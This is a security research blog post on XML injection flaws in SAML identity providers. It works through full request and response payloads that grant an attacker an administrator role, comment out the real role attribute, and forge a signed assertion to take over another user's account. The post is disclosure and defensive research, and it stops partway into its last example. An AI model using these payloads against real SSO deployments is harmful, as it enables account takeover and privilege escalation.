SAML XML Injection

The Single Sign-On (SSO) approach to authentication controls and identity management was quickly adopted by both organizations and large online services for its convenience and added security. The benefits are clear; for end-users, it is far easier to authenticate to a single service and gain access to all required applications. And for administrators, credentials and privileges can be controlled in a single location. However, this convenience presents new opportunities for attackers. A single vulnerability in the SSO authentication flow could be catastrophic, exposing data stored in all services used by an organization.

This blog post will describe a class of vulnerability detected in several SSO services assessed by NCC Group, specifically affecting Security Assertion Markup Language (SAML) implementations. The flaw could allow an attacker to modify SAML responses generated by an Identity Provider, and thereby gain unauthorized access to arbitrary user accounts, or to escalate privileges within an application.

What is SAML?

To begin, a brief overview of how the SAML authentication flow works has been provided below. Feel free to skip this section if you are already familiar with SAML and SSO in general.

SAML is a standard that allows authentication and authorization data to be securely exchanged between different contexts. It is commonly used in web applications to offer SSO capabilities, and can be easily integrated with Active Directory, making it a popular choice for applications used within enterprise environments.

The authentication process relies on a trust relationship between two parties – the Identity Provider (which authenticates end-users), and the Service Provider (which is the application end-users want to access). Under the most common authentication flow, when a user wants to access a service provider, they will be redirected to the identity provider with a SAML request message.

The identity provider authenticates the user if they are not already logged in, and if this is successful, it redirects the user back to the service provider with a SAML response message (usually in the body of a POST request). The SAML response message will contain an assertion that identifies the user and describes a few conditions (the expiration time for the response and an audience restriction which states the service that the assertion is valid for). The service provider should validate the response, the assertion, and the conditions, and only provide the user with access to the application if the authentication was successful.

To prevent tampering, one or both of the SAML response and assertion should include a cryptographic signature that the service provider can verify. The use of a signature will ensure that a malicious user cannot simply modify the user identifier in the assertion, as the signature will no longer be valid.

A more in-depth summary of SAML can be found here on PingIdentity’s website.

The Vulnerability

XML injection is a well-documented vulnerability class, which commonly affected older web applications utilizing XML or SOAP services in the backend. The common case involved user input being directly included in XML messages sent to the backend server. If the user input was not appropriately validated or encoded, an attacker could inject additional XML, and thereby modify request parameters or invoke additional functionality. While still relevant in some applications, XML injection is not nearly as common in 2021, with developers moving to adopt services built on newer data formats such as JSON, YAML, and Protocol Buffers.

In the context of a SAML identity provider, however, XML injection is a concern, as the SAML messages constructed during the authentication flow are XML-based, and contain data that is often sourced from untrusted locations. If this data is included within a SAML assertion or response message dangerously, it may be possible for an attacker to inject additional XML, and change the structure of the SAML message. Depending on the location of the injection and the configuration of the service provider, it may be possible to inject additional roles, modify the receiver of the assertion, or to inject an entirely new username in an attempt to compromise another user’s account. Crucially, it should be noted that the XML for SAML assertions and responses is always built before a cryptographic signature is applied. Therefore, the use of response signatures does not protect against this vulnerability.

This type of vulnerability is most commonly seen in SAML identity providers that naively use string templates to build the SAML XML messages. User-controlled data may be inserted into the template string using a templating language, regex match/replace, or simple concatenation. Although, it is not exclusive to this scenario; even implementations which build the XML using appropriate libraries may fall victim to this vulnerability if the library is used incorrectly.

During a number of security assessments of SAML identity providers, NCC Group has successfully leveraged XML injection vulnerabilities to modify signed assertions, and thereby gain unauthorized access to arbitrary user accounts.

Affected Fields

When constructing the SAML response and assertion, the identity provider is highly likely to include data that can be controlled by the user, either directly or indirectly. Obvious examples include the SAML NameID, which uniquely identifies the user (this may be a numeric identifier, a username, or an email address), and additional attributes when they are requested by the service provider, such as the user’s full name, phone number, or occupation.

However, there are some less obvious fields that are, in most SAML implementations, sourced from the SAML request. A non-comprehensive list of fields in the SAML request that may be included in the SAML response/assertion has been provided below:

  • The ID of the SAML request is typically included in the InResponseTo attribute of the SAML response. (Note: in identity providers observed by NCC Group, almost all implementations included the SAML request ID in the SAML response. This field is therefore considered the most reliable for probing for XML injection vulnerabilities).
  • The Issuer field, which identifies the issuer of the SAML request, may be included in the Audience field in the SAML assertion.
  • The IssueInstant, which states the time the SAML request was generated, may be included in the assertion conditions NotBefore attribute.
  • The Destination field, which states the endpoint that receives the SAML request. This field may also be used in the Audience element of the assertion.

Some implementations may even include data sourced from locations external to the basic SAML authentication flow. To provide an example, in one SAML identity provider, if a SAML request was received from an unauthenticated client, the server issued a redirect to the login page with a GET parameter that included the ID of the SAML request. When the user entered their credentials, the server used the GET parameter ID to look up service provider associated with the SAML request, and then built the SAML response with this ID in the InResponseTo attribute. By modifying the ID GET parameter in the login request, it was possible to inject additional XML into the SAML response.

Identifying the Vulnerability

This vulnerability can be identified using common XML injection probing payloads. The following examples were recreated in a local environment, based on implementations observed during NCC Group security assessments. First, to determine whether XML injection was possible, an intercepting proxy was used to modify the SAML request sent to the identity provider. The payload was inserted into the ID attribute (bolded below) of the request, and is designed to escape from the attribute value and inject an additional attribute value (ncctest); note that the quotes in the payload are XML encoded. This is to ensure that the request XML is still valid; when the value is read by the identity provider, many implementations will XML-decode these entities:

<?xml version="1.0" encoding="UTF-8"?>
<samlp:AuthnRequest AssertionConsumerServiceURL="http://127.0.0.1/simplesaml/module.php/saml/sp/saml2-acs.php/default-sp" Destination="http://adam.local:8080/SSOService" ID="_3af7aba034a5dc5ac8c5ddf28805fb832ec683bfffAAAA&quot; ncctest=&quot;BBBB" IssueInstant="2021-02-08T22:39:58Z" ProtocolBinding="urn:oasis:names:tc:SAML:2.0:bindings:HTTP-POST" Version="2.0" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol">
	<saml:Issuer>http://127.0.0.1/simplesaml/module.php/saml/sp/metadata.php/default-sp</saml:Issuer>
	<samlp:NameIDPolicy AllowCreate="true" Format="urn:oasis:names:tc:SAML:2.0:nameid-format:transient"/>
</samlp:AuthnRequest>

When this was processed by the identity provider, the ID attribute was included directly within the SAML response template, in the InResponseTo attribute of the samlp:Response and saml:SubjectConfirmationData elements:

<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" ID="_fa828226-5b49-4d14-ac7c-fb64e2263f34" Version="2.0" IssueInstant="2021-02-08T23:46:14.988Z" Destination="http://127.0.0.1/simplesaml/module.php/saml/sp/saml2-acs.php/default-sp" InResponseTo="_3af7aba034a5dc5ac8c5ddf28805fb832ec683bfffAAAA" ncctest="BBBB">

<saml:SubjectConfirmationData NotOnOrAfter="2021-02-08T23:51:14.988Z" Recipient="http://127.0.0.1/simplesaml/module.php/saml/sp/saml2-acs.php/default-sp" InResponseTo="_3af7aba034a5dc5ac8c5ddf28805fb832ec683bfffAAAA" ncctest="BBBB"/>

If this test is successful, an attempt can be made to inject additional XML elements into the response. While being able to modify the attributes is interesting, it is not particularly useful; if additional XML can be injected, the attacker may be able to modify the SAML assertion, and ultimately gain unauthorized access to another user’s account.

As a basic test, the following SAML request was used to inject an additional XML element (ncc-elem) into the response. As before, the quotes and angle brackets are XML encoded. Also note that the injected element includes another attribute – this is to ensure that the quotes in the template used by the identity provider are balanced, and that the response is valid XML:

<?xml version="1.0" encoding="UTF-8"?>
<samlp:AuthnRequest AssertionConsumerServiceURL="http://127.0.0.1/simplesaml/module.php/saml/sp/saml2-acs.php/default-sp" Destination="http://adam.local:8080/SSOService" ID="_3af7aba034a5dc5ac8c5ddf28805fb832ec683bfffAAAA&quot; ncctest=&quot;BBBB&quot;&gt;&lt;ncc-elem attribute=&quot;aaaa" IssueInstant="2021-02-08T22:39:58Z" ProtocolBinding="urn:oasis:names:tc:SAML:2.0:bindings:HTTP-POST" Version="2.0" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol">
  <saml:Issuer>http://127.0.0.1/simplesaml/module.php/saml/sp/metadata.php/default-sp</saml:Issuer>
  <samlp:NameIDPolicy AllowCreate="true" Format="urn:oasis:names:tc:SAML:2.0:nameid-format:transient"/>
</samlp:AuthnRequest>

This request produced the following XML in the SAML response:

<samlp:Response
  Destination="http://127.0.0.1/simplesaml/module.php/saml/sp/saml2-acs.php/default-sp"
  ID="_6788c1c3-03a0-452f-80d5-b0296ec1a097"
  IssueInstant="2021-02-08T23:57:49.488Z" Version="2.0"
  xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol"
  InResponseTo="_3af7aba034a5dc5ac8c5ddf28805fb832ec683bfffAAAA" ncctest="BBBB">
  <ncc-elem attribute="aaaa"/>

A similar process can be used for other injection points. If, for example, the identity provider includes the SAML request Issuer field within the Audience of the response, a payload such as the following could be used to inject additional elements. Note here that it is necessary to encode the angle brackets (&lt; and &gt;):

<?xml version="1.0" encoding="UTF-8"?>
<samlp:AuthnRequest AssertionConsumerServiceURL="http://127.0.0.1/simplesaml/module.php/saml/sp/saml2-acs.php/generic-saml-localhost" Destination="http://127.0.0.1:8080/samlp" ID="_0699a57c1e6ac6afc3c2d7ab8cc56dec61cb09b672" IssueInstant="2021-02-11T18:51:31Z" ProtocolBinding="urn:oasis:names:tc:SAML:2.0:bindings:HTTP-POST" Version="2.0" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol">
	<saml:Issuer>http://127.0.0.1/simplesaml/module.php/saml/sp/metadata.php/generic-saml-localhost/&lt;ncc-test&gt;test&lt;/ncc-test&gt;</saml:Issuer>
	<samlp:NameIDPolicy AllowCreate="true" Format="urn:oasis:names:tc:SAML:2.0:nameid-format:transient"/>
</samlp:AuthnRequest>

This request produced the following Audience element in the SAML assertion:

<saml:AudienceRestriction>
	<saml:Audience>http://127.0.0.1/simplesaml/module.php/saml/sp/metadata.php/generic-saml-localhost/<ncc-test>test</ncc-test></saml:Audience>
</saml:AudienceRestriction>

For user attributes, the success of injecting XML characters into the SAML assertion will depend on how these attributes are updated and stored by the identity provider; if XSS defenses prevent users from storing characters such as angle brackets in their attributes, it may not be possible to perform the attack. In the following example, setting the user’s name to “Adam</saml:AttributeValue><ncc-test>aaaa</ncc-test><saml:AttributeValue>” produced the following Attribute element in the assertion. In this particular case, it was necessary to close the saml:AttributeValue element and create a new AttributeValue element to pass XML validation performed by the server:

<saml:Attribute Name="http://schemas.xmlsoap.org/ws/2005/05/identity/claims/givenname" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri">
	<saml:AttributeValue xsi:type="xs:string">Adam</saml:AttributeValue>
	<ncc-test>aaaa</ncc-test>
	<saml:AttributeValue/>
</saml:Attribute>

Exploiting the Vulnerability

Identifying SAML XML injection vulnerabilities is fairly straightforward, but exploiting them is another story. Success will depend on a multitude of factors, including where the injection points occur, how tolerant of invalid XML the libraries used to sign and parse the SAML response are, and whether the service provider will trust the injected payload. In fact, in some cases where XML injection was possible on the identity provider, a number of service providers rejected or ignored the modified payload. Not because the signature was invalid, but because of repetition in the document.

The nature of this vulnerability will mean that, in many cases, it is necessary to inject repeated elements or to construct entirely new assertions. Problems encountered as a consequence of this include:

  • The service provider may select the original legitimate element (assertion or NameID) created by the identity provider, rather than the injected element. Many XML libraries will behave differently when selecting an element that is repeated in a document; typically, this will either be the first occurrence or the last occurrence.
  • Some security conscious service providers may reject responses containing repeated elements altogether; there is generally no good reason for an assertion to contain two NameID elements, for example.
  • The attack may also fail if the service provider includes defenses against XML Signature Wrapping (XSW)*. This is a well-documented SAML vulnerability, where an attacker modifies the structure of a SAML response in an attempt to trick the service provider into reading the user’s identity from an unsigned element (e.g. by adding a second unsigned assertion to a SAML response, before the legitimate signed assertion). Although an XML injection attack would mean that both assertions are included in the scope of the SAML response signature, simply the presence of a second assertion element can be enough for some service providers to reject the message.

* For a good overview of XML Signature Wrapping attacks, see On Breaking SAML: Be Whoever You Want to Be

Example Exploits

In assessments performed by NCC Group, this vulnerability was most commonly exploitable in two scenarios;

  1. Attribute injections – where the injection occurs in a SAML attribute associated with the account in the Identity Provider.
  2. InResponseTo injections – where the injection affects the “InResponseTo” attribute of the SAML response.

Example exploits for these two scenarios have been provided in the following section. As it would be impossible to demonstrate all possible XML injection attacks on SAML implementations in this blog post, hopefully these can provide some inspiration. The techniques outlined here can likely be adapted to exploit identity providers affected by this vulnerability in most configurations.

Disclaimer: These examples were reproduced in a local environment specifically built to be vulnerable to this attack.

Attribute Injections

In addition to the NameID (which is the unique identifier for the user), SAML responses can include a set of user attributes that may be useful to the service provider. These are optional and there are no particular requirements; typically they are used to send data such as the user’s name, email address, and phone number. Some service providers also use the attributes to dictate the privileges that should be assigned to the user post-authentication, using a role attribute or similar. Therefore, if these attributes are not appropriately encoded, an attacker could inject or modify attributes to escalate their privileges or otherwise gain access to sensitive data in the service provider.

As an example, if the SAML assertion contains an AttributeStatement such as the following. This includes two attributes; one for the user’s full name and another for the user’s role (viewer):

<saml:AttributeStatement xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
	<saml:Attribute Name="name" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic">
		<saml:AttributeValue xsi:type="xs:string">Adam Roberts</saml:AttributeValue>
	</saml:Attribute>
	<saml:Attribute Name="role" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic">
		<saml:AttributeValue xsi:type="xs:string">viewer</saml:AttributeValue>
	</saml:Attribute>
</saml:AttributeStatement>

The attacker could change their name in the identity provider to the following value:

Adam Roberts</saml:AttributeValue></saml:Attribute><saml:Attribute Name="role" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic"><saml:AttributeValue xsi:type="xs:string">administrator

If the identity provider includes this value in the name attribute without appropriate validation, the following AttributeStatement will be sent to the service provider. This may allow the attacker to authenticate to the application under the context of an “administrator”, rather than a “viewer”:

<saml:AttributeStatement xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
      <saml:Attribute Name="name" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic">
        <saml:AttributeValue xsi:type="xs:string">Adam Roberts</saml:AttributeValue>
      </saml:Attribute>
      <saml:Attribute Name="role" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic">
        <saml:AttributeValue xsi:type="xs:string">administrator</saml:AttributeValue>
      </saml:Attribute>
      <saml:Attribute Name="role" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic">
        <saml:AttributeValue xsi:type="xs:string">viewer</saml:AttributeValue>
      </saml:Attribute>
</saml:AttributeStatement>

Note that the “role” Attribute element is repeated, and it is therefore possible that the attack may fail if the service provider reads the second role attribute value, or if a validator rejects the assertion. If the attacker controls two attributes (e.g. the name and an email address), it may be possible to use XML comments to effectively delete the role attribute generated by the identity provider. Take the following AttributeStatement as an example. This includes the user’s email address, the role, and a name attribute:

<saml:AttributeStatement xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
	<saml:Attribute Name="email" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic">
		<saml:AttributeValue xsi:type="xs:string">user@example.com</saml:AttributeValue>
	</saml:Attribute>
	<saml:Attribute Name="role" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic">
		<saml:AttributeValue xsi:type="xs:string">viewer</saml:AttributeValue>
	</saml:Attribute>
	<saml:Attribute Name="name" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic">
		<saml:AttributeValue xsi:type="xs:string">Adam Roberts</saml:AttributeValue>
	</saml:Attribute>
</saml:AttributeStatement>

The role attribute is included between the email and name attributes. An attacker could set their email address and name to the following values:

email: user@example.com</saml:AttributeValue></saml:Attribute><saml:Attribute Name="role" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic"><saml:AttributeValue xsi:type="xs:string">administrator</saml:AttributeValue></saml:Attribute><!--

name: --><saml:Attribute Name="name" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic"><saml:AttributeValue xsi:type="xs:string">Adam Roberts

When the AttributeStatement element is built by the identity provider, the following XML will be produced, where the “viewer” role attribute is enclosed within an XML comment:

<saml:AttributeStatement xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
      <saml:Attribute Name="email" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic">
        <saml:AttributeValue xsi:type="xs:string">user@example.com</saml:AttributeValue>
      </saml:Attribute>
      <saml:Attribute Name="role" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic">
        <saml:AttributeValue xsi:type="xs:string">administrator</saml:AttributeValue>
      </saml:Attribute>
      <!--</saml:AttributeValue></saml:Attribute><saml:Attribute Name="role" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic"><saml:AttributeValue xsi:type="xs:string">viewer</saml:AttributeValue></saml:Attribute><saml:Attribute Name="name" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic"><saml:AttributeValue xsi:type="xs:string">-->
      <saml:Attribute Name="name" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic">
        <saml:AttributeValue xsi:type="xs:string">Adam Roberts</saml:AttributeValue>
      </saml:Attribute>
</saml:AttributeStatement>

When parsed by the service provider, the user will be authenticated to the application under the context of an administrator.

Comments can be a useful tool when exploiting XML injections in SAML messages. When done correctly, it is often possible to control large parts of the SAML response or assertion, meaning it can be particularly effective in subverting restrictions imposed by strict service providers. It is worth noting that most XML signature schemes used by SAML implementations canonicalize XML documents prior to calculating a signature, and as part of this process comments are removed from the document. In other words, comments in a SAML response are not considered when the signature is calculated, and can therefore be removed entirely before submission to the service provider. If it is possible to inject XML into two locations within a SAML response, the opportunities for exploitation are much greater through the use of XML comments.

InResponseTo and Assertion Injections

Injections which affect the InResponseTo attribute occur when the SAML request ID is included dangerously within the response. As mentioned previously, the vast majority of SAML identity providers reflect the value of the SAML request ID in the response, and this is therefore considered a very reliable attribute to probe for injections. Exploiting this type of injection, however, can be extremely difficult. The primary reason is that the the value is included in the SAML response in two locations; the first is within the InResponseTo attribute of the Response element, and the second is within the InResponseTo attribute of the SubjectConfirmationData element, in the assertion.

Below is an example of a SAML response generated by an identity provider (hosted on a local server) affected by this vulnerability. The InResponseTo attribute contains the value “_6c4ac3bd08f45c9f34a9230c39ef7e12ede0531e46”, which was set by the service provider in the SAML request:

<?xml version="1.0" encoding="UTF-8"?>
<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" ID="_bb9456e6-ffbe-4117-94ca-1800923389b4" Version="2.0" IssueInstant="2021-02-12T00:18:22.727Z" Destination="http://sp.adam.local/simplesaml/module.php/saml/sp/saml2-acs.php/saml1" InResponseTo="_6c4ac3bd08f45c9f34a9230c39ef7e12ede0531e46">
	<saml:Issuer>http://idp.adam.local:8080</saml:Issuer>
	<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
	<ds:SignedInfo>
		<ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
		<ds:SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256"/>
		<ds:Reference URI="#_bb9456e6-ffbe-4117-94ca-1800923389b4">
			<ds:Transforms>
				<ds:Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature"/>
				<ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
				</ds:Transforms>
				<ds:DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/>
				<ds:DigestValue>gj6oIvcJnXaTBtVRwyNVGaIwwEaCuO0jZizyG/Z94aU=</ds:DigestValue>
			</ds:Reference>
		</ds:SignedInfo>
		<ds:SignatureValue>ueEVB+Xt+kiZZ/g8+9LpO6IWevTatj0NnYLYUwcluqEGlYWMyXef5uQpWf89BO/j294jnIA9KifnqwvhZZr5Ma5e1UQ5/C5d3lTkSA8MTi3DZ8AuHmEtvnC83ivD9IJizcyr0KbwcHtJVzisvvYDwo/f5xq3IrFtqA18tL/mMVA=</ds:SignatureValue>
		<ds:KeyInfo>
			<ds:X509Data>
				<ds:X509Certificate>MIICsDCCAhmgAwIBAgIUdbiKONoAtbg996PB63hRqTx/r3kwDQYJKoZIhvcNAQELBQAwajELMAkGA1UEBhMCVVMxCzAJBgNVBAgMAkNBMRIwEAYDVQQHDAlTdW5ueXZhbGUxEjAQBgNVBAoMCU5DQyBHcm91cDESMBAGA1UECwwJU0FNTCBUZXN0MRIwEAYDVQQDDAlsb2NhbGhvc3QwHhcNMjEwMjA4MTgwNTM1WhcNMjIwMjA4MTgwNTM1WjBqMQswCQYDVQQGEwJVUzELMAkGA1UECAwCQ0ExEjAQBgNVBAcMCVN1bm55dmFsZTESMBAGA1UECgwJTkNDIEdyb3VwMRIwEAYDVQQLDAlTQU1MIFRlc3QxEjAQBgNVBAMMCWxvY2FsaG9zdDCBnzANBgkqhkiG9w0BAQEFAAOBjQAwgYkCgYEAzcBpN/M96rsY/eVadDGiWsxPtfh2gjx8MXbxitVeCn9/hxp5cMiNY3RLWP6G1unn/jmY5xgs2IOXnWnLCgOTztJ7xY7e55El3GUB2F+f92BsmymNbkmmjW3TS61R7DOmU5Z2c2kigxahhoV2CuZAP4qiJpWI77jK8MU2hnKyBaMCAwEAAaNTMFEwHQYDVR0OBBYEFG4sdyzqVsCQHO8YaigkbVmQE9RdMB8GA1UdIwQYMBaAFG4sdyzqVsCQHO8YaigkbVmQE9RdMA8GA1UdEwEB/wQFMAMBAf8wDQYJKoZIhvcNAQELBQADgYEANF254aZkRGRTtjMLa7/8E6aFhtYCUU86YtRrrBFhslsooPMvwKnKelCdsE5Hp6V50WK2aTVBVI/biZGKCyUDRGZ0d5/dhsMl9SyN87CLwnSpkjcHC/b+I/nc3lrgoUSLPnjq8JUeCG2jkC54eWXMa6Ls2uFTEbUoI+BwJHFAH08=</ds:X509Certificate>
			</ds:X509Data>
		</ds:KeyInfo>
	</ds:Signature>
	<samlp:Status>
		<samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/>
	</samlp:Status>
	<saml:Assertion xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" ID="_fa80f7dc-12d1-490c-b19f-c99773167f4b" Version="2.0" IssueInstant="2021-02-12T00:18:22.727Z">
		<saml:Issuer>http://idp.adam.local:8080</saml:Issuer>
		<saml:Subject>
			<saml:NameID Format="urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress">user@example.org</saml:NameID>
			<saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer"><saml:SubjectConfirmationData NotOnOrAfter="2021-02-12T00:23:22.727Z" Recipient="http://sp.adam.local/simplesaml/module.php/saml/sp/saml2-acs.php/saml1" InResponseTo="_6c4ac3bd08f45c9f34a9230c39ef7e12ede0531e46"/>
			</saml:SubjectConfirmation>
		</saml:Subject>
		<saml:Conditions NotBefore="2021-02-12T00:18:22.727Z" NotOnOrAfter="2021-02-12T00:23:22.727Z">
			<saml:AudienceRestriction>
				<saml:Audience>http://sp.adam.local/</saml:Audience>
			</saml:AudienceRestriction>
		</saml:Conditions>
		<saml:AuthnStatement AuthnInstant="2021-02-12T00:18:22.727Z">
			<saml:AuthnContext>
				<saml:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:Password</saml:AuthnContextClassRef>
			</saml:AuthnContext>
		</saml:AuthnStatement>
	</saml:Assertion>
</samlp:Response>

The goal for most attackers here would be to inject a new assertion that includes a different NameID, and thereby gain access to another user’s account on the service provider. The following payload (decoded and formatted for readability), when included in the ID of the SAML request sent to the identity provider, achieves this.

_6c4ac3bd08f45c9f34a9230c39ef7e12ede0531e46">
<saml:Issuer>http://idp.adam.local:8080</saml:Issuer>
<samlp:Status>
	<samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/>
	</samlp:Status>
<saml:Assertion ID="_d0a71402-b0c1-453e-93bf-a3a43c50398b" IssueInstant="2021-02-11T22:45:54.579Z" Version="2.0" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
	<saml:Issuer>http://idp.adam.local:8080</saml:Issuer>
	<saml:Subject>
		<saml:NameID Format="urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress">admin@example.org</saml:NameID>
		<saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer">
			<saml:SubjectConfirmationData InResponseTo="_6c4ac3bd08f45c9f34a9230c39ef7e12ede0531e46" NotOnOrAfter="2021-02-11T23:50:54.579Z" Recipient="http://sp.adam.local/simplesaml/module.php/saml/sp/saml2-acs.php/saml1"/>
			</saml:SubjectConfirmation>
	</saml:Subject>
	<saml:Conditions NotBefore="2021-02-11T22:45:54.579Z" NotOnOrAfter="2021-02-11T23:50:54.579Z">
		<saml:AudienceRestriction>
			<saml:Audience>http://sp.adam.local/</saml:Audience>
		</saml:AudienceRestriction>
	</saml:Conditions>
	<saml:AuthnStatement AuthnInstant="2021-02-11T22:45:54.579Z">
		<saml:AuthnContext>
			<saml:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:Password</saml:AuthnContextClassRef>
		</saml:AuthnContext>
	</saml:AuthnStatement>
</saml:Assertion>
<elem test="

There are a few elements to this payload, explained below:

  1. First, “> is used to escape from the InResponseTo attribute and into the XML context.
  2. In the injected XML, copies of the Issuer and Status elements included in other responses observed from the identity provider are included.
  3. Then, an entirely new assertion is created, with a NameID which specifies the email address “admin@example.org”. This assertion was built using assertions taken from legitimate responses generated by the server; the NameID field was modified, along with the NotOnOrAfter attributes (to specify a time in the future) and the InResponseTo attribute, to include the ID of the SAML request. Replacing these values ensure that the service provider will not reject the assertion, as it will expect an assertion that is not expired, and that was generated for the SAML request it previously issued.
  4. Finally, an unrelated element “elem” is opened at the end, with an attribute. This is designed to fix dangling markup left by the Response and SubjectConfirmationData elements created by the identity provider, where the injection points occur. Note, however, that this step is considered optional, and its necessity will depend on how tolerant the XML parser is. Some parsers will reject the XML document if the dangling markup is not part of an element, while others will simply treat the dangling markup as an additional text node. If the server rejects the payload without this element, try including it in another SAML request.

The following SAML request contains this payload, encoded for transport:

<samlp:AuthnRequest xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" ID="_6c4ac3bd08f45c9f34a9230c39ef7e12ede0531e46&quot;&gt;&lt;saml:Issuer&gt;http://idp.adam.local:8080&lt;/saml:Issuer&gt;&lt;samlp:Status&gt;&lt;samlp:StatusCode Value=&quot;urn:oasis:names:tc:SAML:2.0:status:Success&quot;/&gt;&lt;/samlp:Status&gt;&lt;saml:Assertion ID=&quot;_d0a71402-b0c1-453e-93bf-a3a43c50398b&quot; IssueInstant=&quot;2021-02-11T22:45:54.579Z&quot; Version=&quot;2.0&quot; xmlns:saml=&quot;urn:oasis:names:tc:SAML:2.0:assertion&quot; xmlns:xs=&quot;http://www.w3.org/2001/XMLSchema&quot; xmlns:xsi=&quot;http://www.w3.org/2001/XMLSchema-instance&quot;&gt;&lt;saml:Issuer&gt;http://idp.adam.local:8080&lt;/saml:Issuer&gt;&lt;saml:Subject&gt;&lt;saml:NameID Format=&quot;urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress&quot;&gt;admin@example.org&lt;/saml:NameID&gt;&lt;saml:SubjectConfirmation Method=&quot;urn:oasis:names:tc:SAML:2.0:cm:bearer&quot;&gt;&lt;saml:SubjectConfirmationData InResponseTo=&quot;_6c4ac3bd08f45c9f34a9230c39ef7e12ede0531e46&quot; NotOnOrAfter=&quot;2021-02-11T23:50:54.579Z&quot; Recipient=&quot;http://sp.adam.local/simplesaml/module.php/saml/sp/saml2-acs.php/saml1&quot;/&gt;&lt;/saml:SubjectConfirmation&gt;&lt;/saml:Subject&gt;&lt;saml:Conditions NotBefore=&quot;2021-02-11T22:45:54.579Z&quot; NotOnOrAfter=&quot;2021-02-11T23:50:54.579Z&quot;&gt;&lt;saml:AudienceRestriction&gt;&lt;saml:Audience&gt;http://sp.adam.local/&lt;/saml:Audience&gt;&lt;/saml:AudienceRestriction&gt;&lt;/saml:Conditions&gt;&lt;saml:AuthnStatement AuthnInstant=&quot;2021-02-11T22:45:54.579Z&quot;&gt;&lt;saml:AuthnContext&gt;&lt;saml:AuthnContextClassRef&gt;urn:oasis:names:tc:SAML:2.0:ac:classes:Password&lt;/saml:AuthnContextClassRef&gt;&lt;/saml:AuthnContext&gt;&lt;/saml:AuthnStatement&gt;&lt;/saml:Assertion&gt;&lt;elem test=&quot;" Version="2.0" IssueInstant="2021-02-11T23:45:28Z" Destination="http://idp.adam.local:8080/SSOService" AssertionConsumerServiceURL="http://sp.adam.local/simplesaml/module.php/saml/sp/saml2-acs.php/saml1" ProtocolBinding="urn:oasis:names:tc:SAML:2.0:bindings:HTTP-POST"><saml:Issuer>http://sp.adam.local/</saml:Issuer><samlp:NameIDPolicy Format="urn:oasis:names:tc:SAML:2.0:nameid-format:transient" AllowCreate="true"/></samlp:AuthnRequest>

When this was received by the identity provider, the following SAML response was produced. The injected XML has been highlighted in bold, although note that the XML was adjusted when the identity provider inserted the XML signature:

<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" ID="_b804b8b3-1ced-4e16-9ef3-03b82338729b" Version="2.0" IssueInstant="2021-02-11T23:45:49.796Z" Destination="http://sp.adam.local/simplesaml/module.php/saml/sp/saml2-acs.php/saml1" InResponseTo="_6c4ac3bd08f45c9f34a9230c39ef7e12ede0531e46">
  <saml:Issuer>http://idp.adam.local:8080</saml:Issuer>
